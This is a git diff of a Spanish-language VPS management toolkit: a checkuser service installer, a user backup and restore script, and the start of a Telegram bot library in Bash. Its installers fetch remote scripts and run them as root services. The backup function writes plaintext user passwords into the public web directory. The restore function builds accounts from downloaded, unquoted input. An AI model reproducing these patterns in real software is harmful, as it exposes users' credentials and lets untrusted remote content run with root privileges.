https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/usercodes/initcheck-sh/chekuser.py && chmod +x /bin/ejecutar/checkuser.py + if [[ $(systemctl is-active chekuser) = "active" ]]; then + title 'DESABILITANDO CHEKUSER' + systemctl stop chekuser &>/dev/null + systemctl disable chekuser &>/dev/null + rm -rf /etc/systemd/system/chekuser.service + print_center -verd 'chekuser, se desactivo con exito!' + enter + return + fi + + title 'SELECCIONA UN PERTO' + while [[ -z "${chekuser}" ]]; do + dport=$(shuf -i 82-150 -n 1) + chekuser=$(in_opcion -nama "Ingresa un puerto [def = ${dport}]") + [ -z "${chekuser}" ] && chekuser=${dport} + del 1 + [[ $chekuser = 0 ]] && return + if [[ ! $chekuser =~ $numero ]]; then + print_center -verm2 'ingresa solo numeros!' + sleep 2 + del 1 + unset chekuser + elif [[ $chekuser -lt 10 ]]; then + print_center -verm2 'ingresa un numero mayor a 10' + sleep 2 + del 1 + unset chekuser + elif [[ $chekuser -gt 65535 ]]; then + print_center -verm2 'ingresa un numero menor a 65535' + sleep 2 + del 1 + unset chekuser + elif [[ $(mportas|grep -w "$chekuser") ]]; then + print_center -verm2 "Puerto en uso!" + sleep 2 + del 1 + unset chekuser + fi + done + echo " $(msg -ama "Puerto") $(msg -verd "$chekuser")" + msg -bar + + print_center 'SELECCIONA UN FORMATO DE FECHA' + msg -bar + menu_func 'YYYY/MM/DD' 'DD/MM/YYYY' + msg -bar + date=$(selection_fun 2) + case $date in + 1) fecha="YYYY/MM/DD";; + 2) fecha="DD/MM/YYYY";; + esac + [[ $date = 0 ]] && return + del 5 + echo " $(msg -ama "Formato") $(msg -verd "$fecha")" + enter + del 2 + + print_center -ama 'Instalando python3-pip' + if apt install -y python3-pip &>/dev/null; then + del 1 + print_center -verd 'Instalando python3-pip ok' + else + del 1 + print_center -verm2 'falla al instalar python3-pip\nintente instalar manualmente\n\ncomando manual >> apt install -y python3-pip\n\nresuelva esta falla para luego intentar' + enter + return + fi + + print_center -ama 'Instalando flask' + if pip3 install flask &>/dev/null; then + del 1 + print_center -verd 'Instalando flask ok' + else + del 1 + print_center -verm2 '\nfalla al instalar flask\nintente instalar manualmente\n\ncomando manual >> pip3 install flask\n\nresuelva esta falla para luego intentar' + enter + return + fi + + print_center -ama 'Instalando check' + if wget -O /usr/bin/check https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/usercodes/initcheck-sh/check.sh &>/dev/null; then + chmod +x /usr/bin/check + mkdir /etc/rec + del 1 + print_center -verd 'Instalando check ok' + else + del 1 + print_center -verm2 '\nfalla al instalar check\nintente instalar manualmente\n\nresuelva esta falla para luego intentar' + enter + return + fi + + print_center -ama 'Iniciando servicio' + + if [[ $(systemctl is-active chekuser) = "active" ]]; then + systemctl stop chekuser &>/dev/null + systemctl disable chekuser &>/dev/null + fi + + rm -rf /etc/systemd/system/chekuser.service + + echo -e "[Unit] +Description=chekuser Service by @drowkid01 +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/usr/bin/python3 /bin/ejecutar/checkuser.py $chekuser $date +Restart=always +RestartSec=3s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/chekuser.service + +# ExecStart=/usr/bin/python3 ${ADM_inst}/chekuser.py $chekuser $date +# ps x|grep -v grep|grep chekuser.py|awk '{print $7}' + + systemctl enable chekuser &>/dev/null + systemctl start chekuser &>/dev/null + + if [[ $(systemctl is-active chekuser) = "active" ]]; then + title -verd 'Instalacion completa' + print_center -ama "URL: http://$chk_ip:$chekuser/checkUser" + else + systemctl stop chekuser &>/dev/null + systemctl disable chekuser &>/dev/null + rm -rf /etc/systemd/system/chekuser.service + print_center -verm2 'falla al iniciar servicio chekuser' + fi + enter +} + +_onli() { + + + print_center -ama 'Instalando check' + if wget -O /usr/bin/onlineapp https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/usercodes/initcheck-sh/onlineapp.sh &>/dev/null; then + chmod +x /usr/bin/onlineapp + mkdir /etc/rec + del 1 + print_center -verd 'Instalando onlineapp ok' + else + del 1 + print_center -verm2 '\nfalla al instalar onlineapp\nintente instalar manualmente\n\nresuelva esta falla para luego intentar' + enter + return + fi + + print_center -ama 'Iniciando servicio' + + if [[ $(systemctl is-active onliuser) = "active" ]]; then + systemctl stop onliuser &>/dev/null + systemctl disable onliuser &>/dev/null + fi + + rm -rf /etc/systemd/system/onliuser.service + + echo -e "[Unit] +Description=onliuser Service by @drowkid01 +After=network.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +WorkingDirectory=/root +ExecStart=/usr/bin/onlineapp +Restart=always +RestartSec=15s + +[Install] +WantedBy=multi-user.target" > /etc/systemd/system/onliuser.service + + systemctl enable onliuser &>/dev/null + systemctl start onliuser &>/dev/null + + if [[ $(systemctl is-active onliuser) = "active" ]]; then + title -verd 'Instalacion completa' + print_center -ama "URL: http://$chk_ip:81/server/online" + else + systemctl stop onliuser &>/dev/null + systemctl disable onliuser &>/dev/null + rm -rf /etc/systemd/system/onliuser.service + print_center -verm2 'falla al iniciar servicio User Activos' + fi + enter +} + +mod_port(){ + title 'SELECCIONA UN PERTO' + while [[ -z "${chekuser}" ]]; do + dport=$(shuf -i 82-90 -n 1) + chekuser=$(in_opcion -nama "Ingresa un puerto [def = ${dport}]") + [ -z "${chekuser}" ] && chekuser=${dport} + del 1 + if [[ ! $chekuser =~ $numero ]]; then + print_center -verm2 'ingresa solo numeros!' + sleep 2 + del 1 + unset chekuser + elif [[ $chekuser -lt 10 ]]; then + print_center -verm2 'ingresa un numero mayor a 10' + sleep 2 + del 1 + unset chekuser + elif [[ $chekuser -gt 65535 ]]; then + print_center -verm2 'ingresa un numero menor a 65535' + sleep 2 + del 1 + unset chekuser + elif [[ ! $(mportas|grep -w "$PORT") ]]; then + print_center -verm2 "Puerto en uso!" + sleep 2 + del 1 + unset chekuser + fi + done + echo " $(msg -ama "Puerto") $(msg -verd "$chekuser")" + enter + port_chek=$(ps x|grep -v grep|grep chekuser.py|awk '{print $7}') + systemctl stop chekuser &>/dev/null + systemctl disable chekuser &>/dev/null + sed -i "s/$port_chek/$chekuser/g" /etc/systemd/system/chekuser.service + systemctl enable chekuser &>/dev/null + systemctl start chekuser &>/dev/null + + if [[ $(systemctl is-active chekuser) = "active" ]]; then + title -verd 'puerto modificado' + print_center -ama "URL: http://$chk_ip:$chekuser/checkUser" + else + systemctl stop chekuser &>/dev/null + systemctl disable chekuser &>/dev/null + rm -rf /etc/systemd/system/chekuser.service + print_center -verm2 'algo salio mal\nfalla al iniciar servicio chekuser' + fi + enter +} + +mod_fdate(){ + title 'SELECCIONA UN FORMATO DE FECHA' + menu_func 'YYYY/MM/DD' 'DD/MM/YYYY' + msg -bar + date=$(selection_fun 2) + case $date in + 1)fecha="YYYY/MM/DD";; + 2)fecha="DD/MM/YYYY";; + esac + [[ $date = 0 ]] && return + del 3 + echo " $(msg -ama "Formato") $(msg -verd "$fecha")" + enter + formato=$(ps x|grep -v grep|grep chekuser.py|awk '{print $8}') + systemctl stop chekuser &>/dev/null + systemctl disable chekuser &>/dev/null + sed -i "s/$formato/$date/g" /etc/systemd/system/chekuser.service + systemctl enable chekuser &>/dev/null + systemctl start chekuser &>/dev/null + + if [[ $(systemctl is-active chekuser) = "active" ]]; then + title -verd 'formato de fecha modificado' + print_center -ama "FORMATO: $fecha" + else + systemctl stop chekuser &>/dev/null + systemctl disable chekuser &>/dev/null + rm -rf /etc/systemd/system/chekuser.service + print_center -verm2 'algo salio mal\nfalla al iniciar servicio chekuser' + fi + enter + +} + +menu_chekuser(){ + title 'VERIFICACION DE USUARIOS ONLINE' + num=1 + if [[ $(systemctl is-active chekuser) = "active" ]]; then + formato=$(ps x|grep -v grep|grep chekuser.py|awk '{print $8}') + case $formato in + 1)fecha_data="YYYY/MM/DD";; + 2)fecha_data="DD/MM/YYYY";; + esac + fecha_data=$(printf '%15s' "$fecha_data") + port_chek=$(ps x|grep -v grep|grep checkuser.py|awk '{print $7}') + print_center -ama "URL: http://$chk_ip:$port_chek/checkUser" + port_chek=$(printf '%8s' "$port_chek") + msg -bar + echo " $(msg -verd '[1]') $(msg -verm2 '>') $(msg -verm2 'DESACTIVAR') $(msg -azu 'CHEKUSER')" + echo " $(msg -verd '[2]') $(msg -verm2 '>') $(msg -azu 'MODIFICAR PUERTO') $(msg -verd "$port_chek")" + echo " $(msg -verd '[3]') $(msg -verm2 '>') $(msg -azu 'MODIFICAR FORMATO') $(msg -verd "$fecha_data")" +[[ $(systemctl is-active onliuser) = "active" ]] && echo " $(msg -verd '[4]') $(msg -verm2 '>') $(msg -azu 'DESACTIVAR USER ACTIVOS') $(msg -verd "ON")" ||echo " $(msg -verd '[4]') $(msg -verm2 '>') $(msg -azu 'ACTIVAR ONLINE Usr en APP') $(msg -verd "OFF")" + num=4 + else + print_center -verm2 'ADVERTENCIA!!!\nCheckUser PODRIA CONSUMIR RECURSOS \n EN CONEXIONES O METODOS INESTABLES\n RECOMENDABLE ANALIZAR TU METODO PRIMERO' + msg -bar + echo " $(msg -verd '[1]') $(msg -verm2 '>') $(msg -verd 'ACTIVAR') $(msg -azu 'CHEKUSER')" + fi + back + opcion=$(selection_fun $num) + case $opcion in + 1)start;; + 2)mod_port;; + 3)mod_fdate;; + 4)_onli;; + 0)return 1;; + esac +} + +while [[ $? -eq 0 ]]; do + menu_chekuser +done + diff --git a/Recursos/usercodes/sd b/Recursos/usercodes/sd new file mode 100644 index 0000000..b6e6459 --- /dev/null +++ b/Recursos/usercodes/sd @@ -0,0 +1,234 @@ +#!/bin/bash + +_Key='/etc/cghkey' + +clear + +[[ ! -e ${_Key} ]] && exit + +#Modificado el 06-04-2023 + +dir_user="/userDIR" +dir="/etc/adm-lite" + +fun_ip () { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP" +} +removeonline(){ +i=1 + [[ -d /var/www/html ]] && [[ -e /var/www/html/$arquivo_move ]] && rm -rf /var/www/html/$arquivo_move > /dev/null 2>&1 + [[ -e /var/www/$arquivo_move ]] && rm -rf /var/www/$arquivo_move > /dev/null 2>&1 + echo -e "${cor[5]}Extraxion Exitosa Exitosa" + echo -e "$barra" +echo "SUBIENDO" +subironline +} +subironline(){ +[ ! -d /var ] && mkdir /var +[ ! -d /var/www ] && mkdir /var/www +[ ! -d /var/www/html ] && mkdir /var/www/html +[ ! -e /var/www/html/index.html ] && touch /var/www/html/index.html +[ ! -e /var/www/index.html ] && touch /var/www/index.html +chmod -R 755 /var/www +cp $HOME/$arquivo_move /var/www/$arquivo_move +cp $HOME/$arquivo_move /var/www/html/$arquivo_move +service apache2 restart +IP="$(fun_ip)" +echo -e "\033[1;36m http://$IP:81/$arquivo_move\033[0m" +echo -e "$barra" +echo -e "${cor[5]}Carga Exitosa!" +echo -e "$barra" +read -p "PRESIONE ENTER" +} + + +echo -e "\033[1;33mMenu de Respaldos de Usuarios\033[1;30m + ---------------------------------- + \033[1;32m1) \033[1;37mCrear respaldo de Usuarios Online + ---------------------------------- + \033[1;32m2) \033[1;37mRestaurar Usuarios de un backup Online + ---------------------------------- + \033[1;32m3) \033[1;37m RESTAURAR FILE LOCAL + ----------------------------------" +read -p "ECOJE: " option +function backup_de_usuarios(){ +echo -e "--------------------------------------------------------" +read -p "Ingrese Nombre de su Fichero o pulse ENTER: " name +bc="$HOME/$name" +arquivo_move="$name" +clear +i=1 +[[ -e $bc ]] && rm $bc +echo -e "\033[1;37mHaciendo Backup de Usuarios...\033[0m" +[[ -e /bin/ejecutar/token ]] && passTK=$(cat < /bin/ejecutar/token) +#for user in `awk -F : '$3 > 900 { print $1 }' /etc/passwd |grep -v "nobody" |grep -vi polkitd |grep -vi systemd-[a-z] |grep -vi systemd-[0-9] |sort` +for user in `cat "/etc/passwd"|grep 'home'|grep 'false'|grep -v 'syslog' | cut -d: -f1 |sort` +do +if [ -e $dir$dir_user/$user ] +then +pass=$(cat $dir$dir_user/$user | grep "senha" | awk '{print $2}') +limite=$(cat $dir$dir_user/$user | grep "limite" | awk '{print $2}') +data=$(cat $dir$dir_user/$user | grep "data" | awk '{print $2}') +data_sec=$(date +%s) +data_user=$(chage -l "$user" |grep -i co |awk -F ":" '{print $2}') +data_user_sec=$(date +%s --date="$data_user") +variavel_soma=$(($data_user_sec - $data_sec)) +dias_use=$(($variavel_soma / 86400)) +if [[ "$dias_use" -le 0 ]]; +then +dias_use=0 +fi +sl=$((dias_use + 1)) +i=$((i + 1)) +[[ -z "$limite" ]] && limite="5" +else +echo -e "\033[1;31mNo fue posible obtener la contraseña del usuario\033[1;37m ($user)" +read -p "Introduzca la contraseña manualmente o pulse ENTER: " pass + if [ -z "$pass" ]; then +pass="$user" + fi +fi +[[ $(echo $limite) = "HWID" ]] && echo "$user:$user:HWID:$sl:$pass" >> $bc && echo -e "\033[1;37mUser $pass \033[0;35m [\033[0;36m$limite\033[0;35m]\033[0;31m Backup [\033[1;31mOK\033[1;37m] con $sl DIAS\033[0m" +[[ $(echo $limite) = "TOKEN" ]] && echo "$user:$passTK:TOKEN:$sl:$pass" >> $bc && echo -e "\033[1;37mUser $pass \033[0;35m [\033[0;36m$limite\033[0;35m]\033[0;31m Backup [\033[1;31mOK\033[1;37m] con $sl DIAS\033[0m" +[[ "$limite" =~ ^[0-9]+$ ]] && echo "$user:$pass:$limite:$sl" >> $bc && echo -e "\033[1;37mUser $user \033[0;35m [\033[0;36mSSH\033[0;35m]\033[0;31m Backup [\033[1;31mOK\033[1;37m] con $sl DIAS\033[0m" +done +echo " " +echo -e "\033[1;31mBackup Completado !!!\033[0m" +echo " " +echo -e "\033[1;37mLos usuarios $i se encuentra en el archivo \033[1;31m $bc \033[1;37m" +} +function restaurar_usuarios(){ +cd $HOME +echo "INGRESE LINK Que Mantienes Online en GitHub, o VPS " +read -p "Pega tu Link : " url1 +wget -q -O recovery $url1 && echo -e "\033[1;31m- \033[1;32mFile Exito!" || echo -e "\033[1;31m- \033[1;31mFile Fallo" +#echo -n "Escriba el directorio del archivo Backup: " +echo -e "\033[1;37mRestaurando Usuarios...\033[0m" +[[ -e $HOME/recovery ]] && arq="$HOME/recovery" || return +for user in `cat $arq` +do +usuario=$(echo "$user" |awk -F : '{print $1}') +senha=$(echo "$user" |awk -F : '{print $2}') +limite=$(echo "$user" |awk -F : '{print $3}') +data=$(echo "$user" |awk -F : '{print $4}') +usrHT=$(echo "$user" |awk -F : '{print $5}') + +valid=$(date '+%C%y-%m-%d' -d " +$data days") +datexp=$(date "+%d/%m/%Y" -d " +$data days") +if cat /etc/passwd |grep $usuario: 1> /dev/null 2>/dev/null +then +echo -e "\033[1;37m\033[1;31m$usuario \033[1;37mEXISTE: \033[1;31m$senha [\033[1;31mFAILED\033[1;37m]\033[0m" > /dev/null +else +echo "$user" |cut -d: -f3 1> /dev/null 2>/dev/null + if [ $? = 0 ] + then + useradd -M -s /bin/false $usuario + (echo $senha ; echo $senha) | passwd $usuario > /dev/null 2> /dev/null + limit $usuario $limite 1> /dev/null 2> /dev/null + [[ $(echo $limite) = "HWID" ]] && echo "senha: $usrHT" > /etc/adm-lite/userDIR/$usuario + [[ $(echo $limite) = "TOKEN" ]] && echo "senha: $usrHT" > /etc/adm-lite/userDIR/$usuario + [[ "$limite" =~ ^[0-9]+$ ]] && echo "senha: $senha" > /etc/adm-lite/userDIR/$usuario + echo "limite: $limite" >> /etc/adm-lite/userDIR/$usuario + echo "data: $valid" >> /etc/adm-lite/userDIR/$usuario + chage -E $valid $usuario 2> /dev/null + [[ $(echo $limite) = "HWID" ]] && echo -e "\033[1;31m$usrHT \033[1;37mRESTORE: \033[1;31m$limite - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + [[ $(echo $limite) = "TOKEN" ]] && echo -e "\033[1;31m$usrHT \033[1;37mRESTORE: \033[1;31m$limite - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + [[ "$limite" =~ ^[0-9]+$ ]] && echo -e "\033[1;31m$usuario \033[1;37mRESTORE: \033[1;31m$senha - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + else + useradd -M -s /bin/false $usuario + (echo $senha ; echo $senha) | passwd $usuario > /dev/null 2> /dev/null + [[ $(echo $limite) = "HWID" ]] && echo -e "\033[1;31m$usrHT \033[1;37mRESTORE: \033[1;31m$limite - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + [[ $(echo $limite) = "TOKEN" ]] && echo -e "\033[1;31m$usrHT \033[1;37mRESTORE: \033[1;31m$limite - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + [[ "$limite" =~ ^[0-9]+$ ]] && echo -e "\033[1;31m$usuario \033[1;37mRESTORE: \033[1;31m$senha - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + echo "limite: $limite" >> /etc/adm-lite/userDIR/$usuario + chage -E $valid $usuario 2> /dev/null + fi +fi +done +} + +_resLOC () { + +cd $HOME +echo "INGRESE LA RUTA LOCAL DONDE TIENES ALOJADO EL FICHERO " +echo -e " EJEMPLO : /root/file.txt " +read -p "Pega TU RUTA : " url1 +[[ -e $url1 ]] && { +echo -e " FILE ENCONTRADO \n" +arq="$url1" +} || { +echo -e " FILE NO FOUND \n" +return +} +#echo -n "Escriba el directorio del archivo Backup: " +echo -e "\033[1;37mRestaurando Usuarios de ... $arq\033[0m \n" +for user in `cat $arq` +do +usuario=$(echo "$user" |awk -F : '{print $1}') +senha=$(echo "$user" |awk -F : '{print $2}') +limite=$(echo "$user" |awk -F : '{print $3}') +data=$(echo "$user" |awk -F : '{print $4}') +usrHT=$(echo "$user" |awk -F : '{print $5}') + +valid=$(date '+%C%y-%m-%d' -d " +$data days") +datexp=$(date "+%d/%m/%Y" -d " +$data days") +if cat /etc/passwd |grep $usuario: 1> /dev/null 2>/dev/null +then +echo -e "\033[1;37m\033[1;31m$usuario \033[1;37mEXISTE: \033[1;31m$senha [\033[1;31mFAILED\033[1;37m]\033[0m" > /dev/null +else +echo "$user" |cut -d: -f3 1> /dev/null 2>/dev/null + if [ $? = 0 ] + then + useradd -M -s /bin/false $usuario + (echo $senha ; echo $senha) | passwd $usuario > /dev/null 2> /dev/null + limit $usuario $limite 1> /dev/null 2> /dev/null + [[ $(echo $limite) = "HWID" ]] && echo "senha: $usrHT" > /etc/adm-lite/userDIR/$usuario + [[ $(echo $limite) = "TOKEN" ]] && echo "senha: $usrHT" > /etc/adm-lite/userDIR/$usuario + [[ "$limite" =~ ^[0-9]+$ ]] && echo "senha: $senha" > /etc/adm-lite/userDIR/$usuario + echo "limite: $limite" >> /etc/adm-lite/userDIR/$usuario + echo "data: $valid" >> /etc/adm-lite/userDIR/$usuario + chage -E $valid $usuario 2> /dev/null + [[ $(echo $limite) = "HWID" ]] && echo -e "\033[1;31m$usrHT \033[1;37mRESTORE: \033[1;31m$limite - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + [[ $(echo $limite) = "TOKEN" ]] && echo -e "\033[1;31m$usrHT \033[1;37mRESTORE: \033[1;31m$limite - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + [[ "$limite" =~ ^[0-9]+$ ]] && echo -e "\033[1;31m$usuario \033[1;37mRESTORE: \033[1;31m$senha - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + else + useradd -M -s /bin/false $usuario + (echo $senha ; echo $senha) | passwd $usuario > /dev/null 2> /dev/null + [[ $(echo $limite) = "HWID" ]] && echo -e "\033[1;31m$usrHT \033[1;37mRESTORE: \033[1;31m$limite - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + [[ $(echo $limite) = "TOKEN" ]] && echo -e "\033[1;31m$usrHT \033[1;37mRESTORE: \033[1;31m$limite - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + [[ "$limite" =~ ^[0-9]+$ ]] && echo -e "\033[1;31m$usuario \033[1;37mRESTORE: \033[1;31m$senha - \033[1;37m[\033[1;31mOk\033[1;37m] \033[1;37mcon\033[1;31m $data \033[1;37m Dias\033[0m" + echo "limite: $limite" >> /etc/adm-lite/userDIR/$usuario + chage -E $valid $usuario 2> /dev/null + fi +fi +done + + +} + +if [ $option -eq 1 ]; then +_SFTP="$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep apache2)" +portFTP=$(echo -e "$_SFTP" |cut -d: -f2 | cut -d' ' -f1 | uniq) +portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1) +backup_de_usuarios +echo -e "-------------------------------------------------------" +echo -e " \033[4;31mNOTA importante\033[0m" +echo -e "Recuerda Ir a GitHub y cargarlo Online, para luego poder Restaurarlo!!" +echo -e "-------------------------------------------------------" +echo -e " \033[0;31mSi esta usando maquina, Montalo Online" +echo -e " Para luego usar el Link del Fichero, y puedas ." +echo -e " Descargarlo desde cualquier sitio con acceso WEB" +echo -e " Ejemplo : http://ip-del-vps:${portFTP}/tu-fichero.\033[0m" +echo -e "-------------------------------------------------------" +read -p "PRESIONA ENTER PARA CARGAR ONLINE" +[[ -z $portFTP ]] && echo -e "SERVICIO FTP NO ACTIVO " || removeonline +fi + +if [ $option -eq 2 ]; then +restaurar_usuarios +fi +if [ $option -eq 3 ]; then +_resLOC +fi diff --git a/Recursos/usercodes/telebot-sh/ShellBot.sh b/Recursos/usercodes/telebot-sh/ShellBot.sh new file mode 100644 index 0000000..ede264a --- /dev/null +++ b/Recursos/usercodes/telebot-sh/ShellBot.sh @@ -0,0 +1,4241 @@ +#!/bin/bash + +#----------------------------------------------------------------------------------------------------------- +# DATA: 07 de Março de 2017 +# SCRIPT: ShellBot.sh +# VERSÃO: 5.3 +# DESENVOLVIDO POR: Juliano Santos [SHAMAN] +# PÁGINA: http://www.shellscriptx.blogspot.com.br +# FANPAGE: https://www.facebook.com/shellscriptx +# GITHUB: https://github.com/shellscriptx +# CONTATO: shellscriptx@gmail.com +# +# DESCRIÇÃO: ShellBot é uma API não-oficial desenvolvida para facilitar a criação de +# bots na plataforma TELEGRAM. Constituída por uma coleção de métodos +# e funções que permitem ao desenvolvedor: +# +# * Gerenciar grupos, canais e membros. +# * Enviar mensagens, documentos, músicas, contatos e etc. +# * Enviar teclados (KeyboardMarkup e InlineKeyboard). +# * Obter informações sobre membros, arquivos, grupos e canais. +# * Para mais informações consulte a documentação: +# +# https://github.com/shellscriptx/ShellBot/wiki +# +# O ShellBot mantém o padrão da nomenclatura dos métodos registrados da +# API original (Telegram), assim como seus campos e valores. Os métodos +# requerem parâmetros e argumentos para a chamada e execução. Parâmetros +# obrigatórios retornam uma mensagem de erro caso o argumento seja omitido. +# +# NOTAS: Desenvolvida na linguagem Shell Script, utilizando o interpretador de +# comandos BASH e explorando ao máximo os recursos built-in do mesmo, +# reduzindo o nível de dependências de pacotes externos. +#----------------------------------------------------------------------------------------------------------- + +# Verifica se a API já foi instanciada. +[[ $_SHELLBOT_SH_ ]] && return 1 + +# Verifica se os pacotes necessários estão instalados. +for _pkg_ in curl jq getopt; do + # Se estiver ausente, trata o erro e finaliza o script. + if ! which $_pkg_ &>/dev/null; then + echo "ShellBot.sh: erro: '$_pkg_' O pacote requerido não está instalado." 1>&2 + exit 1 # Status + fi +done + +# Script que importou a API. +declare -r _BOT_SCRIPT_=$(basename "$0") + +# API inicializada. +declare -r _SHELLBOT_SH_=1 + +# Desabilitar globbing +set -f + +# curl parâmetros +declare -r _CURL_OPT_='--silent --request' + +# Erros registrados da API (Parâmetros/Argumentos) +declare -r _ERR_TYPE_BOOL_='Tipo incompatível: Suporta somente "true" ou "false".' +declare -r _ERR_TYPE_PARSE_MODE_='Formatação inválida: Suporta somente "markdown" ou "html".' +declare -r _ERR_TYPE_INT_='Tipo incompatível: Suporta somente inteiro.' +declare -r _ERR_TYPE_FLOAT_='Tipo incompatível: Suporta somente float.' +declare -r _ERR_TYPE_POINT_='Máscara inválida: Deve ser “forehead”, “eyes”, “mouth” ou “chin”.' +declare -r _ERR_ACTION_MODE_='Ação inválida: A definição da ação não é suportada.' +declare -r _ERR_PARAM_REQUIRED_='Opção requerida: Verique se o(s) parâmetro(s) ou argumento(s) obrigatório(s) estão presente(s).' +declare -r _ERR_TOKEN_UNAUTHORIZED_='Não autorizado: Verifique se possui permissões para utilizar o token.' +declare -r _ERR_TOKEN_INVALID_='TOKEN inválido: Verique o número do token e tente novamente.' +declare -r _ERR_FUNCTION_NOT_FOUND_='Função inválida: Verique se o nome está correto ou se a função existe.' +declare -r _ERR_BOT_ALREADY_INIT_='Ação não permitida: O bot já foi inicializado.' +declare -r _ERR_FILE_NOT_FOUND_='Arquivo não encontrado: Não foi possível ler o arquivo especificado.' +declare -r _ERR_DIR_WRITE_DENIED_='Permissão negada: Não é possível gravar no diretório.' +declare -r _ERR_DIR_NOT_FOUND_='Não foi possível acessar: Diretório não encontrado.' +declare -r _ERR_FILE_DOWNLOAD_='Falha no download: Arquivo não encontrado.' +declare -r _ERR_FILE_INVALID_ID_='ID inválido: Arquivo não encontrado.' +declare -r _ERR_UNKNOWN_='Erro desconhecido: Ocorreu uma falha inesperada. Reporte o problema ao desenvolvedor.' +declare -r _ERR_SERVICE_NOT_ROOT_='Acesso negado: Requer privilégios de root.' +declare -r _ERR_SERVICE_EXISTS_='Erro ao criar o serviço: O nome do serviço já existe.' +declare -r _ERR_SERVICE_SYSTEMD_NOT_FOUND_='Erro ao ativar: O sistema não possui suporte ao gerenciamento de serviços "systemd".' +declare -r _ERR_SERVICE_USER_NOT_FOUND_='Usuário não encontrado: A conta de usuário informada é inválida.' +declare -r _ERR_VAR_NAME='O identificador da variável é inválido.' + +Json() { jq "$1" <<< "${*:2}" 2>/dev/null | sed -r 's/(^"|"$)//g'; } +GetObjValue(){ sed -nr 's/^\s+"[a-z_]+":\s+"?(.+[^",])*"?,?$/\1/p' | sed ':a;N;s/\n/|/;ta'; } +JsonStatus(){ [[ $(jq '.ok' <<< "$*") == true ]] && return 0 || return 1; } + +MessageError() +{ + # Variáveis locais + local err_message err_param err_line err_func assert ind + + # A variável 'BASH_LINENO' é dinâmica e armazena o número da linha onde foi expandida. + # Quando chamada dentro de um subshell, passa ser instanciada como um array, armazenando diversos + # valores onde cada índice refere-se a um shell/subshell. As mesmas caracteristicas se aplicam a variável + # 'FUNCNAME', onde é armazenado o nome da função onde foi chamada. + + # Obtem o índice da função na hierarquia de chamada. + [[ ${FUNCNAME[1]} == CheckArgType ]] && ind=2 || ind=1 + err_line=${BASH_LINENO[$ind]} # linha + err_func=${FUNCNAME[$ind]} # função + + # Lê o tipo de ocorrência. + # TG - Erro externo retornado pelo core do telegram. + # API - Erro interno gerado pela API do ShellBot. + case $1 in + TG) + # arquivo Json + err_param="$(Json '.error_code' ${*:2})" + err_message="$(Json '.description' ${*:2})" + ;; + API) + err_param="${3:--}: ${4:--}" + err_message="$2" + assert=1 + ;; + esac + + # Imprime erro + printf "%s: erro: linha %s: %s: %s: %s\n" "${_BOT_SCRIPT_}" \ + "${err_line:--}" \ + "${err_func:--}" \ + "${err_param:--}" \ + "${err_message:-$_ERR_UNKNOWN_}" 1>&2 + + # Finaliza script/thread em caso de erro interno, caso contrário retorna 1 + [[ $assert ]] && exit 1 || return 1 +} + +CheckArgType(){ + + local ctype="$1" + local param="$2" + local value="$3" + + # CheckArgType recebe os dados da função chamadora e verifica + # o dado recebido com o tipo suportado pelo parâmetro. + # É retornado '0' para sucesso, caso contrário uma mensagem + # de erro é retornada e o script/thread é finalizado com status '1'. + case $ctype in + var) [[ $value =~ ^[a-zA-Z_]+[a-zA-Z0-9_]*$ ]] || MessageError API "$_ERR_VAR_NAME" "$param" "$value";; + int) [[ $value =~ ^[0-9]+$ ]] || MessageError API "$_ERR_TYPE_INT_" "$param" "$value";; + float) [[ $value =~ ^-?[0-9]+\.[0-9]+$ ]] || MessageError API "$_ERR_TYPE_FLOAT_" "$param" "$value";; + bool) [[ $value =~ ^(true|false)$ ]] || MessageError API "$_ERR_TYPE_BOOL_" "$param" "$value";; + token) [[ $value =~ ^[0-9]+:[a-zA-Z0-9_-]+$ ]] || MessageError API "$_ERR_TOKEN_INVALID_" "$param" "$value";; + file) [[ $value =~ ^@ && ! -f ${value#@} ]] && MessageError API "$_ERR_FILE_NOT_FOUND_" "$param" "$value";; + parsemode) [[ $value =~ ^(markdown|html)$ ]] || MessageError API "$_ERR_TYPE_PARSE_MODE_" "$param" "$value";; + point) [[ $value =~ ^(forehead|eyes|mouth|chin)$ ]] || MessageError API "$_ERR_TYPE_POINT_" "$param" "$value";; + action) [[ $value =~ ^(typing| + upload_photo| + record_video| + upload_video| + record_audio| + upload_audio| + upload_document| + find_location| + record_video_note| + 